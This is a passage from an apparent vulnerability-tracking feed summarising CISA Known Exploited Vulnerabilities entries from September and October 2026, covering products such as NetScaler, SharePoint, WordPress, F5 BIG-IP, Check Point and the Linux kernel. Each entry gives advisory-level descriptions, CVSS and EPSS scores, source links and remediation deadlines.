https://api.first.org/data/v1/epss?cve=CVE-2026-86950&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-86950 CISA added this entry on 2026-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 29, 2026; federal due date Oct 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability https://kevwire.com/record/CVE-2026-88772 Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability (Oct 2, 2026). Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated). Original Japanese title: 注意喚起: NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性(CVE-2026-88771、CVE-2026-88772等)に関する注意喚起 (更新) CVSS 9.5 (version 4.0; evidence as of Sep 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-88772). EPSS 78.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88772&date=2026-10-25). Sources: JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated): https://www.jpcert.or.jp/at/2026/at260029.html JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf CISA KEV entry CVE-2026-88772: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88772&date=2026-10-25 CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-88772 The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details. Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action. Kind: vulnerability; regions: Global, Japan; provenance: pipeline. CISA added Sep 27, 2026; federal due date Sep 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-88771 Citrix NetScaler Improper Input Validation Vulnerability (Oct 2, 2026). Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated). Original Japanese title: 注意喚起: NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性(CVE-2026-88771、CVE-2026-88772等)に関する注意喚起 (更新) CVSS 9.5 (version 4.0; evidence as of Sep 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-88771). EPSS 82.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88771&date=2026-10-25). Sources: JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated): https://www.jpcert.or.jp/at/2026/at260029.html JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf CISA KEV entry CVE-2026-88771: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88771&date=2026-10-25 CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-88771 The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details. Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action. Kind: vulnerability; regions: Global, Japan; provenance: pipeline. CISA added Sep 27, 2026; federal due date Sep 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mikrotik RouterOS Improper Enforcement of Behavioral Workflow Vulnerability https://kevwire.com/record/CVE-2026-67279 Mikrotik RouterOS Improper Enforcement of Behavioral Workflow Vulnerability (Sep 25, 2026). Mikrotik RouterOS contains an improper enforcement of behavioral workflow vulnerability that could allow an unauthenticated client to open a session channel and send an exec request. This vulnerability can be chained to achieve unauthenticated exploitation of CVE-2026-86060. CVSS 6.9 (version 4.0; evidence as of Sep 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-67279). EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-67279&date=2026-10-25). Sources: CISA KEV entry CVE-2026-67279: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-67279&date=2026-10-25 CVE Program CNA CERT-PL: https://cveawg.mitre.org/api/cve/CVE-2026-67279 CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2026; federal due date Sep 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Code Injection Vulnerability https://kevwire.com/record/CVE-2026-65660 Microsoft SharePoint Code Injection Vulnerability (Sep 25, 2026). Microsoft SharePoint contains a code injection vulnerability which could allow an authorized attacker to execute code over a network. CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65660). EPSS 8.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65660&date=2026-10-25). Sources: CISA KEV entry CVE-2026-65660: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json NVD CVE-2026-65660: https://nvd.nist.gov/vuln/detail/CVE-2026-65660 Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-65660 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65660&date=2026-10-25 CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2026; federal due date Sep 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WordPress Core Remote File Inclusion Vulnerability https://kevwire.com/record/CVE-2026-87902 WordPress Core Remote File Inclusion Vulnerability (Sep 25, 2026). WordPress Core contains a remote file inclusion vulnerability which could allow an unauthenticated attacker to make page-template resolution include a chosen readable local `.php` file outside the active theme directories, leading to remote code execution. CVSS 8.1 (version 3.1; evidence as of Sep 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-87902). EPSS 95.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87902&date=2026-10-25). Sources: CISA KEV entry CVE-2026-87902: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87902&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-87902 CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2026; federal due date Sep 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WSO2 Multiple Products Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-5430 WSO2 Multiple Products Path Traversal Vulnerability (Sep 24, 2026). WSO2 API Control Plane, API Manager, Traffic Manager & Universal Gateway contain a path traversal vulnerability that could allow for unrestricted file upload and lead to remote code execution. CVSS 10.0 (version 3.1; evidence as of Aug 6, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-5430). EPSS 22.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-5430&date=2026-10-25). Sources: CISA KEV entry CVE-2026-5430: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-5430&date=2026-10-25 CVE Program CNA WSO2: https://cveawg.mitre.org/api/cve/CVE-2026-5430 CISA added this entry on 2026-09-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 24, 2026; federal due date Sep 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Commerce and Magento Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2026-71362 Adobe Commerce and Magento Incorrect Authorization Vulnerability (Aug 11, 2026). Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction. CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71362). EPSS 90.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71362&date=2026-10-25). Sources: NVD CVE-2026-71362: https://nvd.nist.gov/vuln/detail/CVE-2026-71362 Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-92.html NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 CISA KEV entry CVE-2026-71362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71362&date=2026-10-25 Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 24, 2026; federal due date Sep 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arista VeloCloud Orchestrator Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-93952 Arista VeloCloud Orchestrator Improper Input Validation Vulnerability (Sep 22, 2026). Arista VeloCloud Orchestrator (VCO) on-prem contains an improper input validation vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. CVSS 9.5 (version 4.0; evidence as of Sep 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-93952). EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93952&date=2026-10-25). Sources: CISA KEV entry CVE-2026-93952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93952&date=2026-10-25 CVE Program CNA Arista: https://cveawg.mitre.org/api/cve/CVE-2026-93952 CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2026-94127 F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability (Sep 22, 2026). F5 BIG-IP APM contains a heap-based buffer overflow vulnerability when access policy and an OAuth profile are configured on a virtual server. This vulnerability could allow an unauthenticated attacker to perform remote code execution. CVSS 9.3 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-94127). EPSS 24.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94127&date=2026-10-25). Sources: CISA KEV entry CVE-2026-94127: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94127&date=2026-10-25 CVE Program CNA f5: https://cveawg.mitre.org/api/cve/CVE-2026-94127 CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Check Point Multiple Products Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-93616 Check Point Multiple Products Path Traversal Vulnerability (Sep 22, 2026). Check Point Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server, and SmartEvent contain a path traversal vulnerability that allows an unauthenticated attacker to upload and execute arbitrary scripts. CVSS 9.8 (version 3.1; evidence as of Sep 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-93616). EPSS 91.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93616&date=2026-10-25). Sources: CISA KEV entry CVE-2026-93616: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93616&date=2026-10-25 CVE Program CNA checkpoint: https://cveawg.mitre.org/api/cve/CVE-2026-93616 CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Check Point Multiple Products Improper Certificate Validation Vulnerability https://kevwire.com/record/CVE-2026-85102 Check Point Multiple Products Improper Certificate Validation Vulnerability (Sep 22, 2026). Check Point Security Gateway and Check Point Spark Firewall using Site to Site VPN or Remote Access VPN contain an improper certificate validation vulnerability which could allow an unauthenticated remote attacker to execute arbitrary code on the Gateway. CVSS 9.8 (version 3.1; evidence as of Sep 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85102). EPSS 54.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85102&date=2026-10-25). Sources: CISA KEV entry CVE-2026-85102: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85102&date=2026-10-25 CVE Program CNA checkpoint: https://cveawg.mitre.org/api/cve/CVE-2026-85102 CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2026-7273 Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability (Sep 21, 2026). Zyxel GS1900 series switches contain a stack-based buffer overflow vulnerability in the CGI program which could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request. CVSS 8.8 (version 3.1; evidence as of Jun 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-7273). EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-7273&date=2026-10-25). Sources: CISA KEV entry CVE-2026-7273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-7273&date=2026-10-25 CVE Program CNA Zyxel: https://cveawg.mitre.org/api/cve/CVE-2026-7273 CISA added this entry on 2026-09-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 21, 2026; federal due date Sep 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Race Condition Vulnerability https://kevwire.com/record/CVE-2025-39964 Linux Kernel Race Condition Vulnerability (Sep 18, 2026). Linux Kernel contains a race condition vulnerability which allows concurrent writes to the same AF_ALG socket causing data to be unpredictably interleaved and creating inconsistencies in the socket's internal state. CVSS 7.8 (version 3.1; evidence as of Aug 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-39964). EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-39964&date=2026-10-25). Sources: CISA KEV entry CVE-2025-39964: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-39964&date=2026-10-25 CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2025-39964 CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2026; federal due date Sep 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2026-53266 Linux Kernel Out-of-Bounds Write Vulnerability (Sep 18, 2026). Linux Kernel contains an out-of-bounds write vulnerability in the ebtables SNAT target which allows an ARP sender hardware address rewrite to write directly into a nonlinear socket-buffer fragment backed by a splice-imported file page. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. CVSS 8.8 (version 3.1; evidence as of Aug 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-53266). EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53266&date=2026-10-25). Sources: CISA KEV entry CVE-2026-53266: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53266&date=2026-10-25 CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2026-53266 CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2026; federal due date Sep 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability https://kevwire.com/record/CVE-2025-39682 Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability (Sep 18, 2026). Linux Kernel contains an improper check for unusual or exceptional conditions vulnerability in the TLS receive path which allows a zero-length record retrieved from the rx_list to bypass the intended recvmsg() record-type handling, potentially causing subsequent TLS records to be processed using incorrect zero-copy and queuing assumptions. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. CVSS 9.8 (version 3.1; evidence as of Aug 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-39682). EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-39682&date=2026-10-25). Sources: CISA KEV entry CVE-2025-39682: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-39682&date=2026-10-25 CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2025-39682 CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2026; federal due date Sep 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Pixel Improper Authorization Vulnerability https://kevwire.com/record/CVE-2026-58704 Google Pixel Improper Authorization Vulnerability (Sep 16, 2026). Google Pixel devices contain an improper authorization vulnerability in the cellular modem. A logic error may allow an attacker to bypass permission checks and escalate privileges. CVSS 8.8 (version 3.1; evidence as of Oct 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-58704). EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58704&date=2026-10-25). Sources: CISA KEV entry CVE-2026-58704: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58704&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-58704 CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 16, 2026; federal due date Sep 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Identity Services Engine Incorrect Use of Privileged APIs Vulnerability https://kevwire.com/record/CVE-2026-76460 Cisco Identity Services Engine Incorrect Use of Privileged APIs Vulnerability (Sep 16, 2026). Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) contain an incorrect use of privileged APIs vulnerability that could allow an unauthenticated, remote attacker to gain unauthorized access to the affected device by bypassing the web-based management interface. CVSS 10.0 (version 3.1; evidence as of Sep 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-76460). EPSS 75.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76460&date=2026-10-25). Sources: CISA KEV entry CVE-2026-76460: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76460&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-76460 CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not 